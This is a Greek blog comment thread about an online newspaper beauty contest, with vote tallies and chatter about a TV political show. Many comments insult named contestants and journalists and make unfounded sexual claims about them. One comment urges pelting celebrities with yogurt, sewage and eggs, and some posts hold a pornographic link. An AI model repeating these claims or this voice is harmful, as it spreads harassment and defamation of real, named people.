Ε όχι. Η Ιωάννα είναι ένα πανέντιμο και ηθικό κοράσιο. Δεν πρόκειται φίλε μου να ασχοληθεί με ανήθικες δραστηριότητες όπως τόσες και τόσες άλλες. Η Ιωάννα αποτελεί τον βράχο της ηθικής στην Ελλάδα. Γι αυτό και την πολεμούν όλοι και την βγάζουν και χαμηλά στον διαγωνισμό της Απογευματινής.
Αστραψε και βρόντηξε ο πρόεδρος Βασίλης Λεβέντης στο Αποκαλυπτικό Δελτίο απόψε. Λάβρος κατά πάντων, κόλλησε στον τοίχο τον Παπαγιάννη που παρίστανε την παρθενόπη. Μπράβο Πρόεδρε!
Πραγματικά έχεις δίκιο. Ο Λεβέντης τον έκανε σκόνη τον Παπαγιάννη. Ας σκεφτούμε λοιπόν τι ποιότητας είναι όλοι αυτοί οι δημοσιογραφίσκοι που παριστάνουν τους κάποιους μόνο σε προστατευόμενα περιβάλλοντα.
Έλεγα να μην πάω να ψηφίσω καθόλου, αλλά σκέφτομαι τελικά να ψηφίσω Λεβέντη (αν και βέβαια ξέρουμε τι εστί Πρόεδρος και πόσο καθαρός είναι κι αυτός). Και μόνο όμως ότι εξευτέλισε τον Παπαγιάννη και του βγήκε από αριστερά, αξίζει την ψήφο μου.
Βάσια Περιαλή (38,0%, 1.051 Votes)
Δήμητρα Αλεξανδράκη (38,0%, 1.036 Votes)
Νάστια Τρικαλιώτη (12,0%, 340 Votes)
Σοφία Ζευγώλη (4,0%, 117 Votes)
Ιωάννα Δεμεντή (4,0%, 106 Votes)
Σοφία Κουκλάκη (3,0%, 86 Votes)
ΙΩΑΝΝΑ ΓΙΝΕ ....ΚΑΛΟΓΡΙΑ ΝΑ ΠΙΑΣΕΙΣ ΤΟΠΟ
ΜΟΥΑΧΑΧΑΑΧΑΧΑΧΑΧΑ
αφελή, και εγώ τις ίδιες ακριβώς σκέψεις έκανα μετά το σημερινό βατερλώ του δημοσιογραφίσκου από τον Λεβέντη, ξέρουμε βέβαια τι κουμάσι είναι και αυτός όπως σωστά επισημαίνεις, έχει τουλάχιστον την πολυτέλεια ως περιθωριακός να λέει αλήθειες που πονάνε, ως εκ τούτου αξίζει την ψήφο μας (και γιά το βατερλώ του βαλαωριτάκια βεβαίως)...
Παιδιά και εγώ την είδα την εκπομπή και συμφωνώ μαζί σας σε απόλυτο βαθμό. Ο Λεβέντης τη μία πήρε τα σώβρακα του βαψομαλλιά Παναγιωτόπουλου στο Προφίλ και τώρα πήρε τα σλιπ του Παπαγιάννη. Σκόνη τον έκανε. Τον εξέθεσε και τον ειρωνευόταν! Και εδώ που τα λέμε είπε και αρκετές αλήθειες, από αυτές που δεν λέγονται δημοσίως από κανέναν. Και εγώ έλεγα να απέχω στις εκλογές, αλλά μετά από την αποψινή εκπομπή θα ψηφίσω Λεβέντη (ξέροντας βέβαια τι είναι και αυτός κλπ κλπ).
Tην Πέμπτη 28 Μαίου στην εκπομπή του Αντώνη Γάκη & του Αντώνη Τσαγκρώνη στον ΧENIO FM 94,3 στις 4-6 μ.μ., τηλεφωνική συνέντευξη με την βουλευτή Α' Αθήνας του ΠΑΣΟΚ Άννα Διαμαντοπούλου. Επίσης στο στούντιο θα βρίσκεται η υποψήφια για τα καλλιστεία Miss On line της Απογευματινής Ιωάννα Δεμεντή. Ακούστε την εκπομπή και κερδίστε ενα διήμερο στην Σαντορίνι. Συντονιστειτε στον XENIO FM 94,3 Πέμπτη στις 4-6 μ.μ.
ΚΑΡΑΓΚΙΟΖΟΠΟΥΛΕ 12.29 ΓΙΑ ΝΑ ΜΠΑΙΝΕΙΣ ΚΑΘΕ ΛΙΓΟ ΝΑ ΕΛΕΓΧΕΙΣ ΤΙ ΨΗΦΟΥΣ ΕΧΩ ΠΡΕΠΕΙ ΝΑ ΤΡΑΒΑΣ ΜΕΓΑΛΟ ΖΟΡΙ ΜΑΖΙ ΜΟΥ...ΜΑΖΙ ΜΟΥ ΑΣΧΟΛΕΙΣΑΙ ΠΟΣΟ ΜΑΛΑΚΑΣ ΕΙΣΑΙ....ΒΡΕ ΕΧΩ ΝΑ ΣΟΥ ΠΡΟΤΕΙΝΩ ΚΑΤΙ ΑΛΛΟ ΤΗΝ ΚΥΡΙΑΚΗ ΑΥΤΗ ΘΑ ΕΙΜΑΙ ΣΤΗΝ ΚΡΙΤΙΚΗ ΕΠΙΤΡΟΠΗ ΤΩΝ ΚΑΛΛΙΣΤΕΙΩΝ HAWAIAN TROPIC.ΠΡΟΤΕΙΝΩ ΛΟΙΠΟΝ ΝΑ ΞΕΚΟΛΛΗΣΕΙΣ ΑΠΟ ΤΗΝ ΑΝΩΝΥΜΙΑ ΤΟΥ ΥΠΟΛΟΓΙΣΤΗ ΚΑΙ ΝΑ ΕΡΘΕΙΣ ΝΑ ΔΕΙΣ ΤΟΝ ΔΙΑΓΩΝΙΣΜΟ!ΕΙΣΟΔΟΣ ΕΛΕΥΘΕΡΗ ΛΕΩ ΓΙΑΤΙ ΜΠΟΡΕΙ ΝΑ ΕΙΣΑΙ ΚΑΙ ΤΣΙΠΗΣ(ΣΙΓΟΥΡΑ ΕΙΣΑΙ ΑΛΛΑ ΛΕΜΕ ΤΩΡΑ)
Βάσια Περιαλή (39,0%, 1.134 Votes)
Δήμητρα Αλεξανδράκη (38,0%, 1.106 Votes)
Νάστια Τρικαλιώτη (12,0%, 348 Votes)
Σοφία Ζευγώλη (4,0%, 120 Votes)
Ιωάννα Δεμεντή (4,0%, 106 Votes)
Σοφία Κουκλάκη (3,0%, 86 Votes)
ΔΕΜΕΝΤΗ ΧΑΜΟΥΡΟΠΟΥΛΟΥ
1000 ΨΗΦΟΙ ΚΑΙ ΒΑΛΕ ΑΠΟ ΤΗΝ ΠΡΩΤΗ ΔΙΑΦΟΡΑ....
ΓΙΑ ΤΑ ΜΠΑΖΑ ΕΙΣΑΙ ΣΟΥ ΕΧΟΥΜ ΕΠΕΙ ΝΑ ΜΗΝ ΤΡΩΣ ΛΗΓΜΕΝΑ ΒΛΗΤΑ ΓΙΑΤΙ....ΘΑ ΧΑΛΑΣΕΙΣ.ΔΕΝ ΜΑΣ ΑΚΟΥΣΕΣ ΚΑΙ ΣΕ ΞΕΦΤΙΛΗΣΑΝ
ΙΩΑΝΝΑ ΔΕΜΕΝΤΗ
ΤΟ ΝΑ ΕΙΝΑΙ ΚΑΝΕΙΣ ΒΛΑΚΑΣ ΔΕΝ ΕΙΝΑΙ ΕΓΚΛΗΜΑ.
ΑΛΛΑ ΝΑ ΕΙΝΑΙ ΒΛΑΚΑΣ ΚΑΙ ΝΑ ΝΟΜΙΖΕΙ ΟΤΙ ΕΙΝΑΙ ΚΑΙ ΟΜΟΡΦΟΣ ΕΙΝΑΙ ΘΑΝΑΣΗΜΟ ΑΜΑΡΤΗΜΑ.
Ιωάννα σε ευχαριστούμε για την ενημέρωση για τον Ξένιο. Η Ιωάννα δίνει πάντοτε πληρωμένες απαντήσεις και όποιος τα βάζει μαζί της πάντα χάνει. Μπορεί να είναι πολύ χαμηλά στη βαθμολογία, αλλ΄ αυτό γίνεται γιατί το μαζικό κοινό δεν εκτιμά την ποιότητα. Η Ιωάννα είναι μία θεά (με εκατό τόσες ψήφους για την ώρα, που δεν είναι και λίγες).
Ego ton simpatho ton xinogalo. Ki as vrizei thn ioanna. Den peirazei. Ta leei oraia. Bravo xinogale.
H ΙΩΑΝΝΑ ΓΡΑΦΕΙ ΜΕ ΚΕΦΑΛΑΙΑ ΓΡΑΜΜΑΤΑ. ΕΠΙΚΙΝΔΥΝΑ ΠΡΑΓΜΑΤΑ ΓΙΑ ΤΟΝ SERVER.
ΚΑΡΑΓΚΙΟΖΟΠΟΥΛΕ ΠΕΣ ΚΙ ΑΛΛΑ ΝΑ ΓΕΛΑΣΟΥΜΕ....ΠΕΣ ΜΟΥ ΟΜΩΣ ΣΕ ΠΑΡΑΚΑΛΩ ΠΟΙΑ ΕΙΝΑΙ Η ΠΡΩΤΗ ΚΑΙ ΤΙ ΕΧΕΙ ΚΑΝΕΙ ΚΑΙ ΑΝ ΤΗΝ ΞΕΡΕΙ Η ΜΑΝΑ ΤΗΣ....ΧΑΧΧΑΧΑΧΑΧ ΕΣΥ ΑΓΟΡΙ ΜΟΥ ΠΡΕΠΕΙ ΝΑ ΕΧΕΙΣ ΦΑΕΙ ΜΕΓΑΛΟ ΚΟΛΛΗΜΑ ΜΑΖΙ ΜΟΥ...
kallisteia playmate,hawain tpopic,miss fotegeneia,mis peloponisos,miss traxanoplagia,antena,mikonou,
didimotixou.
pos to pan kapote.
kathe polis kai ena gimnastirion!
etsi simera kathe xorio kai ena kalisteio!
re seis to mono pou paragei ayti i xora pleon einai mono ntavatzides
psonia kai kleftes?
gine kai sy ntavas boreis.
ta aytomata reeeee!!
Δήμητρα Αλεξανδράκη (41,0%, 1.449 Votes)
Βάσια Περιαλή (39,0%, 1.376 Votes)
Νάστια Τρικαλιώτη (11,0%, 371 Votes)
Σοφία Ζευγώλη (4,0%, 126 Votes)
Ιωάννα Δεμεντή (3,0%, 114 Votes)
Σοφία Κουκλάκη (2,0%, 88 Votes)
ΙΩΑΝΝΑ ΔΕΜΕΝΤΗ
ΔΕΝ ΣΕ ΨΗΦΙΖΕΙ ΟΥΤΕ Η ΜΑΝΑ ΣΟΥ.
Η ΕΛΛΑΔΑ ΕΙΝΑΙ ΓΕΜΑΤΗ ΝΟΥΜΕΡΑ ΣΑΝ ΚΙ ΕΣΕΝΑ .....ΓΙΝΕ ΚΑΛΟΓΡΙΑ ΝΑ ΠΙΑΣΕΙΣ ΤΟΠΟ.....
Εγώ άκουσα ότι αυτή που βγήκε πρώτη έκανε τρελή εκστρατεία στο facebook και στο My space. Προσέλκυσε διάφορα λιγούρια αφήνοντάς τους υποσχέσεις σεξουαλικού περιεχομένου. Ντροπή. Μπράβο στην Ιωάννα που δεν έκανε κάτι τέτοιο.
exei prosonta na to kanei thn IOANNA den thn ,,,,,phdaei kanenas ozte meta apo 1 xrono fylakh
Ιωάννα μας, εννοείς ότι το τρελλό διήμερο στην Σαντορίνη θα είναι μαζί σου; αν είναι έτσι, σε ψηφίζω με χέρια και με πόδια (και με κάτι άλλο που δεν γράφεται)...
Φανταστείτε πόσες ψήφους θα είχε η Ιωάννα αν δεν έκανε προεκλογική εκστρατεία μέσα από αυτό το blog. Μάλλον τελευταία θα έβγαινε...
Μπορεί να έβγαινε τελευταία αλλά βγαίνει
Π Ρ Ω Τ Η ΣΤΙΣ ΚΑΡΔΙΕΣ ΜΑΣ!!!
Vamos Ιωάννα (επηρεασμένος από τη νίκη της Barca)!!!
Η Δήμητρα Αλεξανδράκη βγήκε miss Young 2008, η Βάσια Περιαλή είναι το καμάρι της Τήνου. Εσύ Ιωάννα, τίνος καμάρι είσαι;
proteino omada drasis.enedres me giaourtia skatonera kai avga sta moutra olon ton sourgelon tis xoras.eponimoi,psonia,starletitses ,oli i show biz na giaourtonetai kai na kinimatografountai.istera na anevenoun se site tou stil perez hilton tis kleftourias!
einai to kamari tou PAPAGIANNH POY THN PHDAEI.....
file apo panw symfonw kai epauksanw
AS ARXISOUME APO DEMENTH PAPAGIANH ME GIAOURTI KAI AUSTHRO KOLODAKTYLO
παντως τα καλλιστεια του λουτσου ανοιγουν.. προοπτικες.ετσι και εδω μια διανοιξη ακομη
http://www.slutload.com/watch/V2L4STpNXMH/Backroom-Facials.html
http://www.slutload.com/watch/V2L4STpNXMH/Backroom-Facials.html
ison me
http://tinyurl.com/qlqcdz
4.56 λίγο περίεργα μας τα λες. Η Ιωάννα, αντίθετα με όσα γράφεις, δέχεται συνεχείς επιθέσεις από τον Παπαγιάννη, σε σημείο να μας βάζει να υποθέτουμε πολλά. ο Παπαγιάννης έχει πολλά απωθημένα απέναντι στην Ιωάννα. Πιστεύω μάλιστα ότι είσαι ο ίδιος ο Παπαγιάννης για να γράφεις τέτοιες κακοήθειες για την Ιωάννα.
Η Ιωάννα όσες ψήφους έχει πᾶρει, τις έχει πάρει με το σπαθί της. Τα άλλα σούργελα ασχολούνται πρωί και βράδυ με το ποιος θα τις ψηφίσει. Άλλη δουλειά δεν έχουν . Η Ιωάννα όμως και δουλεύει και σπουδάζει. Μπράβο Ιωάννα. Μην ακούς τους λίγους ανόητους που σου επιτίθενται. Σε ζηλεύουν γιατί σε θέλουν και δεν μπορούν να σε έχουν.
Παρακολουθώ τους παράλληλους μονολόγους γνωστούς και ως ντημπέητ. Τραγικό από απόψεως τηλεοπτικής και πολιτικής (και κάθε άλλης) με κάνει να ντρέπομαι ακόμα μία φορά γιά τα αδιόρθωτα χάλια μας. Μόνη εξάιρεση η Σία (τι όνομα κι αυτό) Κοσιώνη που απόψε έχει βάλει τα δυνατά της να προσεγγίσει στυλιστικά την Τάνια Ιακωβίσου. Ολοι βέβαια εδώ γνωρίζουμε ότι το ντρημ πανελ θα ήταν Παπαγιάννης, Τάνια, Αρης Σπίνος και Ιωάννα Δεμέντη αντί αυτών των σοβαροφανών και μέχρι αυτοκτονίας βαρετών αυτάρεσκων μικροαστών που φαντασιώνονται ότι είναι δημοσιογράφοι - γιά τους "πολιτικούς" (ο θεός να τους κάνει) τα έχουμε ήδη πεί...
Σωστό. Αυτό που λες θα ήταν πάνελ της προκοπής.
Ας προστεθεί μάλιστα και μια στυλιστική λεπτομέρεια: O Κώστας έχει περάσει με ελαφριά μπογιά το πάνω μέρος των μαλλιών του, ενώ ρεσιτάλ μπογιατίσματος έχει δώσει ο Πρόεδρος Καρατζαφέρης. Ποτέ δεν έχει εμφανιστεί τόσο πολύ μπογιατισμένος. Ούτε τρίχα γκρι δεν έχει αφήσει ο αθεόφοβος.
http://tinyurl.com/lqo6kj
thea!
"Αποσάρθρωση" εξεστόμισε τώρα ο διδάκτωρ των πολιτικών επιστημών του πανεπιστημίου των Παρισίων Γιάννης Παπαγιάννης.
sia kosioni.
mia madonna apo tin elassona!
miki maus dimitriou
alavanos o tixodioktis poureitzer koukouloforos!
popo o tsoglanaras tis onned!
o aimilios papathanasiou tis politikis[leme tora]
kouvelis!o malakofloros tis oikologias.ipnos.
oust reee!
Post a Comment